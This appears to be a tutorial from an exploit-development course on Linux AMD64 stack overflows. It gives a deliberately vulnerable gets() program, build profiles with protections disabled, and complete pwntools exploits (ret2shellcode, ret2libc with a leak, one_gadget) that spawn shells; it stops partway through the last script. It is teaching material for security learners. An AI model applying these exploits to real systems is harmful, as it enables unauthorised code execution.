created by AnotherOne from @Pwn3rzs Telegram channel.
Now that you can find and analyze vulnerabilities (Week 2 & 4), it's time to learn exploitation. This week focuses on fundamental exploitation techniques in a simplified Linux environment with modern mitigations (DEP, ASLR, stack canaries) disabled. Mastering these basics is essential before tackling mitigation bypasses in Week 7.
Next week (Week 6) we'll focus on understanding mitigations in both Linux and Windows. Week 7 will cover bypassing them.
Recall the QNAP QTS Stack Overflow from Week 1? That was a classic stack buffer overflow caused by strcpy without bounds checking—exactly what we'll be exploiting today.
While modern systems have mitigations (which we'll disable for now), the underlying mechanic remains the same: overwriting the return address to hijack control flow.
[!IMPORTANT]
ASLR Policy: Keep ASLR enabled system-wide for security. Disable only per-process for labs.
Never disable ASLR globally on a machine connected to the internet.
bash
# ============================================================# ASLR CONFIGURATION (Per-Process Only - Do NOT disable globally!)# ============================================================# Option 0: Disable ASLR system-wide# echo 0 | sudo tee /proc/sys/kernel/randomize_va_space# echo "kernel.randomize_va_space = 0" | sudo tee /etc/sysctl.d/99-disable-aslr.conf# sudo sysctl --system# Option 1: Disable in GDB (recommended for debugging)# In GDB/pwndbg:# (gdb) set disable-randomization on # Default in GDB# (gdb) set disable-randomization off # If you want ASLR during debug# Option 2: Disable for a single binary runsetarch x86_64 -R ./binary# Option 3: In pwntools (for local process only)# p = process('./binary', aslr=False)# VERIFY: Check system ASLR is STILL ENABLEDcat /proc/sys/kernel/randomize_va_space# Should output: 2 (full ASLR) - DO NOT change this!# If you previously disabled ASLR system-wide, RE-ENABLE it:# echo 2 | sudo tee /proc/sys/kernel/randomize_va_space# sudo rm -f /etc/sysctl.d/99-disable-aslr.conf # Remove any persistent config# ============================================================# INSTALL ESSENTIAL TOOLS# ============================================================sudo apt updatesudo apt install -y \ nasm \ strace \ ltrace \ ruby \ ruby-dev \ libc6-dbg \ checksec \ patchelfcd ~/crash_analysis_labsource .venv/bin/activatepip install ropgadget# Install one_gadget (quick shell gadgets)sudo gem install one_gadget# Install radare2 (optional but useful)cd ~/toolsgit clone --depth 1 --branch master https://github.com/radareorg/radare2cd radare2sys/install.sh# Check glibc version (important for heap exploitation)ldd --version# Ubuntu 24.04 ships with glibc 2.39# ============================================================# STANDARDIZED COMPILATION PROFILES (AMD64)# ============================================================# Create a Makefile with canonical build profiles for labs:cat > ~/lab-Makefile << 'MAKEFILE'# Lab Exploitation Makefile - AMD64 Only# Usage: make <target> BINARY=myprogram SOURCE=myprogram.cCC = gccSOURCE ?= vuln.cBINARY ?= vuln# Base flags for all builds (AMD64)BASE_CFLAGS = -g -O0 -fno-omit-frame-pointer -fno-stack-protectorBASE_LDFLAGS = -no-pie# Training profiles:# 0. disabled: most things disabled# 1. training-shellcode: NX disabled, for ret2shellcode exercises# 2. training-rop: NX enabled, for ROP/ret2libc exercises# 3. training-relro-off: Partial RELRO, for GOT overwrite exercises# 4. training-full-relro: Full RELRO, to demonstrate GOT write fails# 5. format-sec: for format-security bugsdisabled: $(SOURCE) $(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -w -fcf-protection=none -z execstack -o $(BINARY) $(SOURCE) @echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial" @checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)training-shellcode: $(SOURCE) $(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -z execstack -o $(BINARY) $(SOURCE) @echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial" @checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)training-rop: $(SOURCE) $(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -o $(BINARY) $(SOURCE) @echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=Partial" @checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)training-relro-off: $(SOURCE) $(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -fcf-protection=none -Wl,-z,norelro -o $(BINARY) $(SOURCE) @echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=OFF" @checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)training-full-relro: $(SOURCE) $(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -fcf-protection=none -Wl,-z,relro,-z,now -o $(BINARY) $(SOURCE) @echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=FULL (GOT read-only!)" @checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)format-sec: $(SOURCE) $(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -w -fcf-protection=none -Wno-format-security -o $(BINARY) $(SOURCE) @echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial" @checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)# Show all protectionscheck: @checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)clean: rm -f $(BINARY) *.o.PHONY: disabled training-shellcode training-rop training-relro-off training-full-relro format-sec check cleanMAKEFILEecho "Makefile created at ~/lab-Makefile"echo "Copy to your lab directory: cp ~/lab-Makefile ./Makefile"
[!NOTE]
Ubuntu 24.04:
Uses glibc 2.39 with full safe-linking and removed hooks
Requires python3-venv for pip package installation (PEP 668)
For classic heap techniques, consider using Docker with older Ubuntu
Before diving into exploitation, master these pwntools fundamentals. The ELF() class is your primary interface for analyzing binaries—use it throughout this course.
ELF() Basics:
bash
cd ~/exploitsource ~/crash_analysis_lab/.venv/bin/activatecp ~/crash_analysis_lab/vuln_no_protect .
python
#!/usr/bin/env python3# ~/exploit/1.pyfrom pwn import *# Load the binary and set contextelf = ELF('./vuln_no_protect')context.binary = elf # Auto-sets arch, os, endian, bitscontext.arch = 'amd64' # Explicit (redundant if context.binary is set)# Binary metadata (always check these first!)print(f"Architecture: {elf.arch}") # amd64print(f"Bits: {elf.bits}") # 64print(f"Endian: {elf.endian}") # littleprint(f"PIE enabled: {elf.pie}") # True/Falseprint(f"Entry point: {hex(elf.entry)}") # Where execution starts# Security mitigations (same as checksec)print(elf.checksec())# Symbol lookup - CRITICAL for exploitationprint(f"main @ {hex(elf.symbols['main'])}")print(f"vulnerable_function @ {hex(elf.symbols['stack_overflow'])}")# Find imported functions (from libc)print(f"puts@plt: {hex(elf.plt['puts'])}") # PLT stubprint(f"puts@got: {hex(elf.got['puts'])}") # GOT entry# Find gadgets and stringsprint(f"'/bin/sh' in binary: {hex(elf.search(b'/bin/sh').__next__())}" if b'/bin/sh' in elf.data else "Not found")# For binaries linked with libclibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')print(f"system in libc: {hex(libc.symbols['system'])}")print(f"/bin/sh in libc: {hex(next(libc.search(b'/bin/sh')))}")
Context Configuration (set BEFORE any pwntools operations):
python
# ~/exploit/2.pyfrom pwn import *# === CRITICAL: Set context from binary (AMD64) ===elf = ELF('./vuln_no_protect')context.binary = elf # Sets arch='amd64', os='linux', endian='little' automatically!# Or set explicitly (redundant if context.binary is set)# context.arch = 'amd64'# context.os = 'linux'# context.endian = 'little'# Logging levelcontext.log_level = 'debug' # Show all pwntools outputcontext.log_level = 'info' # Normal output (default)context.log_level = 'error' # Only errors# Data packing (architecture-aware after setting context)addr = p64(0xdeadbeef) # Pack 64-bit address (little-endian) - AMD64val = u64(b'\xef\xbe\xad\xde\x00\x00\x00\x00') # Unpack 8 bytes to integer
; Calling a function (AMD64); Arguments go in registers (first 6)mov rdi, arg1mov rsi, arg2call function ; Pushes 8-byte return address; Inside functionfunction: push rbp ; Save old base pointer (8 bytes) mov rbp, rsp ; Set new base pointer sub rsp, 0x40 ; Allocate space for locals (must maintain 16-byte alignment) ; Function body... mov rsp, rbp ; Restore stack pointer (or: leave) pop rbp ; Restore base pointer ret ; Return (pops return address into RIP)
Buffer Overflow Visualization (AMD64):
text
Before overflow:┌──────────────────┐│ buffer[64] │ ← strcpy writes here├──────────────────┤│ saved RBP │ (8 bytes on AMD64)├──────────────────┤│ return address │ (8 bytes on AMD64)└──────────────────┘After overflow with 80 'A's:┌──────────────────┐│ AAAAAAAAAA... │ ← buffer filled (64 bytes)├──────────────────┤│ AAAAAAAA │ ← saved RBP overwritten (8 bytes)├──────────────────┤│ AAAAAAAA │ ← return address overwritten! (8 bytes)└──────────────────┘When function returns:- Pops 0x4141414141414141 into RIP- CPU tries to execute at 0x4141414141414141- Segmentation fault (or controlled execution if address is valid)
# Try various sizes via stdinecho "AAAA" | ./vuln1# Works finepython3 -c "print('A' * 100)" | ./vuln1# Segmentation fault
Step 2: Find Exact Offset (using pattern):
python
#!/usr/bin/env python3#~/exploit/4.pyfrom pwn import *context.arch = 'amd64'# Generate cyclic patternpattern = cyclic(100)print(pattern)# Run program with pattern via stdin# aslr=False + env={} for consistent addresses during learningp = process('./vuln1', aslr=False, env={})p.sendline(pattern)p.wait()
In GDB with pwndbg (AMD64):
bash
gdb ./vuln1# Run and send pattern via stdinpwndbg> run < <(python3 -c "from pwn import *; print(cyclic(100).decode())")# Or run, then paste pattern when prompted:#pwndbg> run#Enter input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa# Find offset from crash (RSP contains the pattern)pwndbg> cyclic -n 4 -l saaa# Output: 72# So offset is 72 bytes (64 buffer + 8 saved RBP)
Verify Offset (AMD64):
python
# ~/exploit/5.py#!/usr/bin/env python3from pwn import *context.arch = 'amd64'# Build payloadpayload = b"A" * 72 # Fill buffer + saved RBPpayload += p64(0xdeadbeefcafebabe) # Overwrite return address (8 bytes)# Run and send via stdin (aslr=False for learning)p = process('./vuln1', aslr=False, env={})p.sendline(payload)p.wait()
In GDB (AMD64):
bash
gdb ./vuln1pwndbg> run < <(python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + b'\xbe\xba\xfe\xca\xef\xbe\xad\xde')")# Program crashes at ret instruction# Check the stack:pwndbg> x/gx $rsp# 0x7fffffffe0b8: 0xdeadbeefcafebabe <- We control the return address!
Working Exploit for vuln1 (stdin-based)
python
#!/usr/bin/env python3# ~/exploit/exploit_vuln1.py"""Stack Buffer Overflow Exploit Template (stdin-based)Target: vuln1 (reads input via gets() from stdin)Vulnerability: gets() has no bounds checking, allows null bytesTechnique: ret2shellcode via jmp rsp gadget"""from pwn import *# ============ SETUP (AMD64) ============binary_path = './vuln1'elf = ELF(binary_path)context.binary = elf # Sets arch=amd64 automatically# ============ OFFSETS ============# vulnerable_function() has: char buffer[64]# Stack layout: [buffer:64] [saved RBP:8] [return addr:8]OFFSET = 64 + 8 # = 72 bytes to overwrite return address# ============ EXPLOIT ============def exploit(): # For LEARNING: Disable ASLR, clean environment for consistent addresses # For PRODUCTION: Use leaks and relative addressing # NOTE: stdin=PTY, stdout=PTY forces unbuffered output so prompts arrive # before input is needed (otherwise printf buffers when piped) p = process(binary_path, aslr=False, env={}, stdin=PTY, stdout=PTY) # Alternatively, for remote targets: # p = remote('target.host', 1337) # Wait for prompt (important for synchronization!) p.recvuntil(b'Enter input: ') # ============ FIND GADGET ============ # Our vuln1.c includes a jmp rsp gadget in gadgets() # Find it: ROPgadget --binary vuln1 | grep "jmp rsp" # Or use pwntools: rop = ROP(elf) try: jmp_rsp = rop.find_gadget(['jmp rsp'])[0] except: # Fallback: search for the bytes jmp_rsp = next(elf.search(asm('jmp rsp'))) log.info(f"jmp rsp gadget @ {hex(jmp_rsp)}") # ============ BUILD PAYLOAD ============ # Shellcode goes AFTER the return address (we jump to RSP) shellcode = asm(shellcraft.amd64.linux.sh()) log.info(f"Shellcode length: {len(shellcode)} bytes") payload = b'A' * OFFSET # Fill buffer + saved RBP payload += p64(jmp_rsp) # Overwrite return address with jmp rsp payload += shellcode # Shellcode right after return addr # RSP points here after ret! log.info(f"Total payload: {len(payload)} bytes") # ============ SEND PAYLOAD ============ # sendline() sends raw bytes over the pipe - null bytes work fine! # This is the proper way to deliver exploits p.sendline(payload) # ============ GET SHELL ============ log.success("Payload sent! Switching to interactive mode...") p.interactive()def debug(): """Debug mode - attach GDB manually""" p = process(binary_path, aslr=False, env={}, stdin=PTY, stdout=PTY) log.info("Run the following commands in a SECOND terminal") log.info("gdb -p $(pidof vuln1)") log.info("b vulnerable_function") log.info("c") pause() p.recvuntil(b'Enter input: ') payload = cyclic(200) p.sendline(payload) p.interactive()if __name__ == '__main__': if args.GDB: debug() else: exploit()# Usage:# python3 exploit_vuln1.py - Run exploit# python3 exploit_vuln1.py GDB - Debug with GDB attached## Why stdin (not argv)?# 1. Real exploits use network sockets or file input, not CLI args# 2. pwntools handles null bytes transparently over pipes# 3. Works identically for local process() and remote()# 4. No shell escaping issues or argument parsing problems
Writing Simple Shellcode
Linux AMD64 Shellcode Basics:
Syscall Convention (AMD64):
syscall instruction triggers syscall (NOT int 0x80!)
cd ~/exploit# Save as shellcode.asmnasm -f elf64 shellcode.asm -o shellcode.old -o shellcode shellcode.o# Extract shellcode bytesobjdump -d shellcode -M intel# Or use this one-linerfor i in $(objdump -d shellcode -M intel | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
#!/usr/bin/env python3#~/exploit/6.pyfrom pwn import *context.arch = 'amd64'context.os = 'linux'# Generate shellcode with pwntools (preferred - handles arch automatically)shellcode = asm(shellcraft.amd64.linux.sh())# Method 1: Use run_shellcode (simplest)p = run_shellcode(shellcode)p.interactive()# Should get shell!# Method 2: Create executable and run# Useful for debugging#with open('/tmp/sc.bin', 'wb') as f:# f.write(shellcode)
Complete Exploit
exploit1.py (AMD64):
python
#!/usr/bin/env python3"""Stack Buffer Overflow Exploit for vuln1 (AMD64)Technique: Direct ret2shellcode via stdinTarget: vuln1 (no protections, stdin-based input)Run with: python exploit1.py"""from pwn import *# Configurationbinary = './vuln1'elf = ELF(binary)context.binary = elf # Sets arch=amd64 automaticallyoffset = 72 # 64 buffer + 8 saved RBP# Shellcode with stack pivot to prevent self-destruction# The pwntools shellcode uses push instructions which write backwards on the stack.# After ret, RSP points just past our payload - push would overwrite our shellcode!# Solution: Move RSP away first with "sub rsp, 0x100"stack_pivot = asm('sub rsp, 0x100')shellcode = stack_pivot + asm(shellcraft.amd64.linux.sh())def exploit(): # Start process with ASLR disabled using setarch wrapper # env={} clears environment variables for consistent stack addresses p = process(['setarch', 'x86_64', '-R', binary], env={}) # Get buffer address by analyzing a crash: # 1. Generate payload with dummy address: # python3 -c "from pwn import *; ..." > payload.bin # 2. Run and get core dump: # ulimit -c unlimited # env -i setarch x86_64 -R ./vuln1 < payload.bin # 3. Analyze core to find actual buffer location: # gdb ./vuln1 core # RSP after ret shows where we are on stack # Buffer = (saved RBP location) - 0x40 # # Note: GDB adds ~0x60 bytes to stack even with env -i, so addresses # found in GDB need adjustment for standalone execution. buffer_addr = 0x7fffffffecc0 # Build payload: # [NOP sled][stack_pivot + shellcode][padding][return address -> buffer] payload = b"\x90" * 16 # NOP sled for tolerance payload += shellcode # Stack pivot + shellcode payload += b"A" * (offset - len(payload)) # Padding to fill offset payload += p64(buffer_addr) # Return to start of buffer (8 bytes) log.info(f"Shellcode length: {len(shellcode)}") log.info(f"Total payload: {len(payload)}") log.info(f"Jumping to: {hex(buffer_addr)}") # Send payload via stdin p.sendline(payload) # Interact with shell p.interactive()if __name__ == "__main__": exploit()
Better Approach: Using jmp rsp Gadget (AMD64) (More Reliable):
[!TIP]
Hardcoding stack addresses is fragile—addresses vary between GDB and normal execution,
different terminals, environment sizes, etc. A jmp rsp or call rsp gadget provides
a stable return target since RSP points to our controlled data after ret.
python
#!/usr/bin/env python3#~/exploit/exploit2.py"""ret2shellcode using jmp rsp gadget (AMD64)This approach is more reliable than hardcoded stack addresses because:- Works regardless of environment variable differences- No need to guess exact stack layout- RSP points to our shellcode right after ret executes"""from pwn import *binary = './vuln1'elf = ELF(binary)context.binary = elf # Sets arch=amd64def find_jmp_rsp(): """Find a jmp rsp or call rsp gadget in the binary""" # Search for jmp rsp (0xff 0xe4) or call rsp (0xff 0xd4) try: jmp_rsp = next(elf.search(asm('jmp rsp'))) log.success(f"Found jmp rsp at {hex(jmp_rsp)}") return jmp_rsp except StopIteration: pass try: call_rsp = next(elf.search(asm('call rsp'))) log.success(f"Found call rsp at {hex(call_rsp)}") return call_rsp except StopIteration: pass # Try ROPgadget as fallback log.warning("No jmp/call rsp in binary, trying ROPgadget...") # Run: ROPgadget --binary ./vuln1 | grep "jmp rsp\|call rsp" return Nonedef exploit(): offset = 72 # 64 buffer + 8 saved RBP (AMD64) # Find jmp rsp gadget jmp_rsp = find_jmp_rsp() if not jmp_rsp: log.error("No jmp rsp gadget found! Use fixed address method instead.") return # Shellcode (placed AFTER return address) shellcode = asm(shellcraft.amd64.linux.sh()) # Payload layout: # [padding (72 bytes)][jmp_rsp addr (8 bytes)][nop sled][shellcode] # After ret: RIP = jmp_rsp, RSP points to nop sled payload = b"A" * offset # Fill buffer + saved RBP payload += p64(jmp_rsp) # Return to jmp rsp (8 bytes!) payload += b"\x90" * 16 # NOP sled (RSP lands here) payload += shellcode # Shellcode executes # Launch and send via stdin p = process(binary) p.sendline(payload) p.interactive()if __name__ == "__main__": exploit()
When your exploit doesn't work (it won't on the first try!), use these systematic debugging techniques.
Method 1: GDB Attach with pwntools
python
#!/usr/bin/env python3#~/exploit/exploit_debug.pyfrom pwn import *elf = ELF('./vuln1')context.binary = elf # Sets arch=amd64# Start process with ASLR disabled and clean env for learningp = process('./vuln1', aslr=False, env={})# Print PID and pause - attach GDB manually in another terminal/SSH sessionlog.info(f"Process PID: {p.pid}")log.info(f"Attach GDB in another terminal: gdb -p {p.pid}")input("Press Enter after attaching GDB and setting breakpoints...")# Build and send payload (AMD64)payload = b'A' * 72 + p64(0xdeadbeefcafe)p.sendline(payload)# Interact with the processp.interactive()
Usage:
bash
# Terminal 1: Run exploitpython exploit_debug.py# It will print PID and wait...# Terminal 2: Attach GDBgdb -p <PID>(gdb) break *vulnerable_function+74(gdb) continue# Press Enter in Terminal 1 to send payload
Example Debug Session Output:
After hitting the breakpoint at ret, you'll see something like:
# Start GDB with ASLR disabled for consistent addressesenv -i setarch x86_64 -R gdb ./vuln1# Set breakpoint at ret instruction (vulnerable_function+74)pwndbg> break *vulnerable_function+74pwndbg> run# Program waits for input - type pattern to find offset:Enter input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC# At breakpoint, examine key registers:pwndbg> info registers rbp rsp rip# RBP = 0x4242424242424242 (BBBBBBBB) - confirms offset 64 to saved RBP# RSP points to return address location# View stack layout around buffer:pwndbg> x/20gx $rsp-0x60# Find buffer address:pwndbg> print $rbp - 0x40 # Buffer is at [rbp - 0x40] before overflow# Or calculate from current RSP:# buffer_addr = RSP - 8 (saved RBP) - 64 (buffer) = RSP - 72# Step into ret to see crash:pwndbg> si# Will crash trying to jump to 0x4343434343434343 (CCCCCCCC)# For automated testing with payload file:#pwndbg> run < payload.bin
Common Debugging Scenarios:
Symptom
Likely Cause
Debug Command
Crash at wrong address
Offset incorrect
cyclic -l <crash_addr>
Crash at correct addr but no shell
Shellcode bad or wrong location
x/20i <shellcode_addr>
"Illegal instruction"
Bad shellcode or architecture mismatch
Check context.binary
Segfault in libc
Stack alignment (AMD64!)
Add extra ret gadget
Works in GDB, fails outside
Environment variable difference
setarch -R ./vuln
The GDB vs Real Execution Problem:
The stack layout differs between GDB and normal execution due to environment variables:
bash
# See the differenceenv | wc -l # Count env varsenv -i ./vuln1 # Run with empty environment# In GDB, minimize environmentgdb -q ./vuln1(gdb) unset env LINES(gdb) unset env COLUMNS(gdb) show env # Should be minimal# Or use this pwntools trick to match addressesp = process('./vuln1', env={}) # Empty environment
Essential pwndbg Commands for Exploit Development (AMD64):
bash
# Address findingpwndbg> vmmap # Memory map (find stack, libc, etc.)pwndbg> search -s "/bin/sh" # Find string in memorypwndbg> got # Show GOT entries# Payload verificationpwndbg> hexdump $rsp 100 # View your payload on stackpwndbg> telescope $rsp 20 # Smart stack display (shows dereferences)# Execution tracingpwndbg> nearpc # Show instructions around PCpwndbg> context # Full context displaypwndbg> retaddr # Show return addresses on stack# Exploit helperspwndbg> rop # Find ROP gadgets (slow)pwndbg> checksec # Binary protections
Debugging Checklist (Use Before Asking for Help!):
Offset verified? Use cyclic pattern, confirm with cyclic -l (use full 8-byte value on AMD64!)
Addresses correct? Double-check with print &function in GDB
Architecture matches?context.arch = 'amd64', use p64() not p32()
Endianness correct? x86/x64 = little endian = p64()
No bad characters? Check for \x00, \x0a, \x0d in payload
Stack executable?checksec should show "NX disabled"
ASLR disabled for this run? Use setarch -R or GDB's default
Using same environment?env -i or env={} in pwntools
Shellcode tested standalone?run_shellcode() in pwntools
Stack aligned? AMD64 requires 16-byte alignment before call
#Environment Hygiene (Critical for Exploit Development)
Stack addresses differ between environments due to variables like LINES, COLUMNS, PWD, TERM, and program name length. This is the #1 cause of "works in GDB, fails outside" issues.
The Problem:
text
Normal execution: GDB execution: Different terminal:┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐│ env vars (big) │ │ env vars + GDB │ │ different env ││ PWD=/long/path │ │ extra vars │ │ COLUMNS=120 │├─────────────────┤ ├─────────────────┤ ├─────────────────┤│ argv, argc │ │ argv, argc │ │ argv, argc │├─────────────────┤ ├─────────────────┤ ├─────────────────┤│ Stack │ │ Stack │ │ Stack ││ buffer @ 0xABC │ │ buffer @ 0xA00 │ │ buffer @ 0xB00 │└─────────────────┘ └─────────────────┘ └─────────────────┘ ↑ Different addresses due to env var size!
Solution: Force Consistent Environment:
bash
# Method 1: Clear all environment variablesenv -i ./exploit# Method 2: Clear and set minimal required varsenv -i PWD=$(pwd) ./exploit# Method 3: In pwntools (RECOMMENDED for learning)from pwn import *p = process('./vuln', env={}) # Empty environment# Or with minimal vars:p = process('./vuln', env={'PWD': os.getcwd()})# Method 4: Disable ASLR per-process (pwntools, best for learning)p = process('./vuln', aslr=False, env={})
The "It Works on My Machine" Checklist
Buffering Hell
Local process() typically uses PTY (unbuffered).
Remote nc or sockets are often fully buffered or line-buffered.
Always use p.recvuntil(b'prompt') before sending. Never rely on sleep() unless absolutely necessary.
IO Handling
p.recv() is dangerous—it returns some data, not all data.
p.clean() removes unread data (useful before sending payload).
p.sendline() adds \n. Ensure target expects \n and not just raw bytes.
Environment Variables
Remote servers have different env vars than your GDB session.
This shifts stack addresses by +/- 0x100 bytes.
Never rely on exact stack addresses (hardcoded 0x7ffffff...).
Always use leaks (libc/stack) and relative offsets, or NOP sleds.
GDB Environment Matching:
bash
# In GDB, clear problematic variablesgdb -q ./vuln(gdb) unset env LINES(gdb) unset env COLUMNS(gdb) unset env TERM(gdb) show env # Verify minimal environment(gdb) run# Or start GDB with clean environmentenv -i gdb -q ./vuln
pwntools Best Practice for Learning:
python
#!/usr/bin/env python3from pwn import *context.binary = ELF('./vuln')# For LEARNING phase: disable ASLR and clear env# This ensures consistent addresses across runsp = process('./vuln', aslr=False, env={})# For PRODUCTION exploits: use leaks and relative offsets# p = process('./vuln') # Real-world: ASLR enabled
Verification:
bash
# Compare stack addresses with different environmentsenv -i ./vuln # Note buffer address./vuln # Different address!env -i PWD=x ./vuln # Yet another address# Find the delta between GDB and real execution# GDB typically adds ~0x60-0x100 bytes to stack
[!WARNING]
Always use env -i or env={} when developing exploits with hardcoded addresses!
Once your exploit works, convert to using leaks for portability.
#~/exploit/8.pyfrom pwn import *# Find all bad characters in your shellcodedef find_bad_chars(shellcode, bad_chars=b'\x00\x0a\x0d\x20'): found = [] for i, byte in enumerate(shellcode): if bytes([byte]) in bad_chars: found.append((i, hex(byte))) return foundshellcode = asm(shellcraft.sh())bad = find_bad_chars(shellcode)if bad: print(f"Bad characters at: {bad}")else: print("Shellcode is clean!")
[!TIP]
Use pwntools shellcraft with encoders for complex shellcode:
python
# Automatically generate null-free shellcodeshellcode = asm(shellcraft.amd64.linux.sh())# Or use msfvenom: msfvenom -p linux/x64/exec CMD=/bin/sh -f python -b '\x00'
Debugging Tips:
bash
# Per-process ASLR disable (DON'T disable system-wide!)setarch x86_64 -R ./binary# Or in pwntools: p = process('./binary', aslr=False)# Run with same environment as GDBenv -i ./binary# Generate core dumps for post-crash analysisulimit -c unlimited./binary $(python3 -c "print('A'*200)")gdb ./binary core# Trace syscalls/library callsstrace ./binaryltrace ./binary
[!IMPORTANT]
AMD64 Calling Convention: Unlike x86 where arguments go on the stack,
AMD64 passes the first 6 arguments in registers: RDI, RSI, RDX, RCX, R8, R9.
This means we need gadgets to load registers before calling functions!
[!CAUTION]
Never hardcode libc addresses! Even with ASLR disabled for testing,
addresses change between libc versions and systems. Always use the
leak → compute base → build ROP pattern.
The Real-World Pattern:
text
1. Stage 1: Leak a libc address (e.g., puts@got)2. Compute libc base: libc.address = leaked_addr - libc.symbols['puts']3. Stage 2: Build ROP chain with calculated addresses4. Exploit: Call system("/bin/sh") or execve
Why This Matters:
Works even with ASLR enabled (after one leak)
Portable across different libc versions (with correct libc file)
This is how real exploits work—not "paste address from GDB"
This is the most important skill in basic exploitation. Even with ASLR "disabled"
in labs, always practice the leak pattern.
vuln2.c (Vulnerable program for leak practice):
c
#include <stdio.h>#include <string.h>// Gadget functions - ensure useful ROP gadgets exist in binary// These create pop rdi; ret and other gadgets we needvoid gadgets() { __asm__ volatile ( "pop %rdi; ret\n" // pop rdi; ret - for first argument "pop %rsi; ret\n" // pop rsi; ret - for second argument "pop %rdx; ret\n" // pop rdx; ret - for third argument "ret\n" // ret - for stack alignment );}void vulnerable() { char buffer[64]; printf("Enter input: "); fflush(stdout); gets(buffer); // Vulnerable! Allows overflow and null bytes printf("You entered: %s\n", buffer);}int main() { setvbuf(stdout, NULL, _IONBF, 0); // Disable buffering for reliable I/O puts("ROP Practice - ret2libc with leak"); vulnerable(); puts("Done!"); // Important: binary must import puts for our leak! return 0;}
Compile (AMD64, NX enabled):
bash
cd ~/exploitmake disabled SOURCE=vuln2.c BINARY=vuln2# gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2.c -o vuln2# checksec --file=./vuln2# Verify: NX enabled, No canary, No PIE, SHSTK/IBT disabled
Complete Leak-Based Exploit (AMD64):
python
#!/usr/bin/env python3#~/exploit/9.py"""Canonical ret2libc with leak - AMD64This is THE pattern to learn. It works on real systems with ASLR.Pattern: leak → compute libc base → build ROP → shellStep 1: ROP to puts(puts@got), return to mainStep 2: Parse leaked puts addressStep 3: Compute libc.address = leak - libc.symbols['puts']Step 4: Build final ROP: system("/bin/sh")"""from pwn import *# ============ SETUP ============binary_path = './vuln2'elf = ELF(binary_path)context.binary = elf # Sets arch=amd64# Load libc - use the ACTUAL libc on target system!# On Ubuntu: /lib/x86_64-linux-gnu/libc.so.6# For remote: download from target or use libc databaselibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')# ============ GADGETS ============# AMD64 needs gadgets to load registers before function callsrop = ROP(elf)pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] # Almost always neededret = rop.find_gadget(['ret'])[0] # For stack alignmentlog.info(f"pop rdi; ret @ {hex(pop_rdi)}")log.info(f"ret @ {hex(ret)}")# ============ ADDRESSES ============puts_plt = elf.plt['puts'] # PLT stub to call putsputs_got = elf.got['puts'] # GOT entry (contains libc address after first call)main_addr = elf.symbols['main'] # Return here after leaklog.info(f"puts@plt: {hex(puts_plt)}")log.info(f"puts@got: {hex(puts_got)}")log.info(f"main: {hex(main_addr)}")# ============ EXPLOIT ============OFFSET = 72 # 64 buffer + 8 saved RBPdef exploit(): # Can run locally or switch to remote if args.REMOTE: p = remote('target', 1337) else: p = process(binary_path) # ========== STAGE 1: LEAK LIBC ADDRESS ========== log.info("Stage 1: Leaking libc address via puts(puts@got)") # Wait for prompt p.recvuntil(b'Enter input: ') # AMD64 ROP: pop rdi loads argument, then call puts # Stack alignment: add ret gadget if needed stage1 = flat( b'A' * OFFSET, p64(ret), # Stack alignment (16-byte before call) p64(pop_rdi), # pop rdi; ret p64(puts_got), # RDI = puts@got (address to leak) p64(puts_plt), # Call puts(puts@got) - prints libc address! p64(main_addr), # Return to main for stage 2 ) p.sendline(stage1) # Parse the leak # Our ROP chain: puts(puts@got) → main, so output is: # "You entered: [overflow]\n[LEAKED_ADDR]\nROP Practice..." # Skip until after our payload echo, then read leaked address line p.recvuntil(b'You entered: ') p.recvuntil(b'\n') # Skip to end of "You entered" line # Read leaked bytes - puts adds a newline, so read until that newline leaked_bytes = p.recvline().strip() # Remove trailing newline from puts # Handle the leak (puts stops at null bytes, pad if needed) leaked_puts = u64(leaked_bytes.ljust(8, b'\x00')) log.success(f"Leaked puts@libc: {hex(leaked_puts)}") # ========== COMPUTE LIBC BASE ========== libc.address = leaked_puts - libc.symbols['puts'] log.success(f"Calculated libc base: {hex(libc.address)}") # Verify libc base looks reasonable (should end in 000 due to page alignment) if libc.address & 0xfff != 0: log.warning("Libc base not page-aligned - leak may be wrong!") # ========== STAGE 2: ONE_GADGET APPROACH ========== # Modern libc lacks clean pop rdx gadgets, so we use one_gadget # Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6 # Constraints vary - try each until one works log.info("Stage 2: Using one_gadget") # One_gadget offsets - UPDATE THESE for your libc version! # Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6 one_gadgets = [ 0xef4ce, # execve("/bin/sh", rbp-0x50, r12) - needs rbx=0, r12=0 0xef52b, # execve("/bin/sh", rbp-0x50, [rbp-0x78]) - needs rax=0 0x583ec, # posix_spawn constraints 0x583f3, # posix_spawn constraints ] # Try the second one_gadget (0xef52b) - needs rax=NULL # If first doesn't work, try index 1, 2, 3... one_gadget = libc.address + one_gadgets[1] log.info(f"one_gadget @ 